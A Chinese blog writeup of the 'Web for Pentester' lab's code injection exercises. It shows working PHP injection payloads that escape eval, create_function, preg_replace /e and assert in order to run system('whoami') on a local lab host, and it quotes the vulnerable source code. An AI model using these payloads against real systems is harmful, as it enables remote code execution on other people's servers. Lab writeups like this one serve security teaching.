Web for pentester_writeup之Code injection篇

Code injection(代码注入)

Example 1

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143257650-1309948164.png)

`name=hacker’` 添加一个单引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143311050-821937799.png)

`name=hacker”` 添加一个双引号
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143356350-2108491842.png)

返回报错信息,分析可知执行了eval()程序

继续测试
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143459406-1888671742.png)

这块有点复杂,我们先看一下源代码
```php

可知eval实际执行的函数是 `echo "Hello ".$_GET['name']."!!!";` ,这条语句中点号`.`是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本
>Payload 1 结尾使用赋值的方法闭合语句
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143538991-707665184.png)</center> <p>实际执行的语句为
<p>`echo "Hello ".hacker".system('whoami'); $dummy="."!!!";` 拼接一下变为
<p>`echo "Hello hacker".system('whoami'); $dummy="!!!";`
<p>从页面返回可以看出,系统先执行了whoami命令,然后执行输出 >Payload 2
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143547121-1368557021.png)</center>
>
`http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143555419-1257008802.png)</center>
<p>以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容 ###**Example 2**
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143708057-1571194764.png)</center>
<p>使用单引号 `?order=id'`
<center>![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143728771-721286394.png)</center>
<p>发现使用的是usort()函数
<p>查看源代码
```php
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}

尝试闭合构造如下:

?order=id;}// 报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。

?order=id);}// 警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。

?order=id));}// 继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。

Payload

http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143741019-782621294.png)
###**Example 3**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143746427-1102653696.png)
查看源代码
```php

```

preg_replace()函数:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。

$count: 可选,为替换执行的次数。

/e修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。

我们给pattern参数加上/e修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令

Payload

http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer

![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143759155-67554670.png)

注:php5.5版本以上就废弃了`preg_replace`函数中 `/e` 这个修饰符,转而修改成 `preg_replace _callback`
###**Example 4**
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143810190-1192216016.png)

老套路,发现`assert()`函数
>Payload
`http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'`
![](https://img2018.cnblogs.com/blog/1605154/201908/1605154-20190808143843468-553703910.png)

对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细

参考文章:`https://www.freebuf.com/sectool/168653.html`

Web for pentester_writeup之Code injection篇的更多相关文章

  1. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  2. Web for pentester_writeup之XML attacks篇

    Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...

  3. Web for pentester_writeup之LDAP attacks篇

    Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...

  4. Web for pentester_writeup之File Upload篇

    Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...

  5. Web for pentester_writeup之File Include篇

    Web for pentester_writeup之File Include篇 File Include(文件包涵) Example 1 加一个单引号 从报错中我们可以获取如下信息: 当前文件执行的代 ...

  6. Web for pentester_writeup之Directory traversal篇

    Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...

  7. Web for pentester_writeup之SQL injections篇

    Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...

  8. Web for pentester_writeup之XSS篇

    Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...

  9. phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 Insufficient output sanitizing when gener ...

随机推荐

  1. 快学Scala 第十八课 (trait多继承)

    trait多继承: trait的继承并不像类拥有相同的含义!在下面这个例子中,如果还是运用类的继承的思想,那么运行结果将是什么也没有. trait Logged { def log(msg: Stri ...

  2. ui自动化测试

    一.梳理 1.根据要求需要自动添加很多条数据 2.这就涉及到ui方面的知识.元素定位的方法(这个就能遇到很多坑,要完全掌握元素定位才能避免进坑).循环等(代码基础要掌握好) 二.操作 选择进行自动化操 ...

  3. Linux 命令之 mkdir

    mkdir的作用是创建一个目录,可以理解为 make directory 的缩写. 创建目录 mkdir dir_name 在当前目录创建一个名为 dir_name 的目录. 同时创建多级目录 假设现 ...

  4. 子网掩码!如何划分子网掩码,计算IP地址

    作者:chli1806 一.子网掩码的含义和根据子网掩码划分子网一个IP地址必然属于某一个网络,或者叫子网.子网掩码就是用来指定某个IP地址的网络地址的,换一句话说,就是用来划分子网的.例如,一个A类 ...

  5. Kubernetes快速入门

    二.Kubernetes快速入门 (1)Kubernetes集群的部署方法及部署要点 (2)部署Kubernetes分布式集群 (3)kubectl使用基础 1.简介 kubectl就是API ser ...

  6. unittest中diascover批量执行用例

    # case_dir='./'#当前脚本的路径 # discover=unittest.defaultTestLoader.discover(case_dir,pattern='unittest_fr ...

  7. 手把手教你搭建HEXO免费博客

    一.环境搭建 node安装 百度搜索node,进入官网.下载稳定版: 下载好后直接打开安装 我这里将其安装在D盘(可以自己选择安装位置) 可以看到安装包中已经自带npm包管理工具 等待安装完成后,WI ...

  8. linux-pclint代码检测

    win10.ubuntu16.04, vs2017. 1.安装pc-lint到C盘. 2.将linux下的usr整个目录打包拷贝到win10某盘下. 3.获取lint检测linux c++ 代码的宏参 ...

  9. 研究了3天,终于将 Shader 移植到 Cocos Creator 2.2.0 上了!

    预览 扫光特效-Fluxay2 马赛克像素特效-Mosaic 过渡效果-Transfer Shawn 花了3天时间,研究了Cocos Creator 2.2.0 的 Effect 语法,终于在1024 ...

  10. java读取存在src目录下和存在同级目录下的配置文件

    如果我有个文件存在src下一级的地方和存在src同级的目录应该怎么用相对路径去获取如图: 一.如果存在src同级的地方应该是InputStream in = new BufferedInputStre ...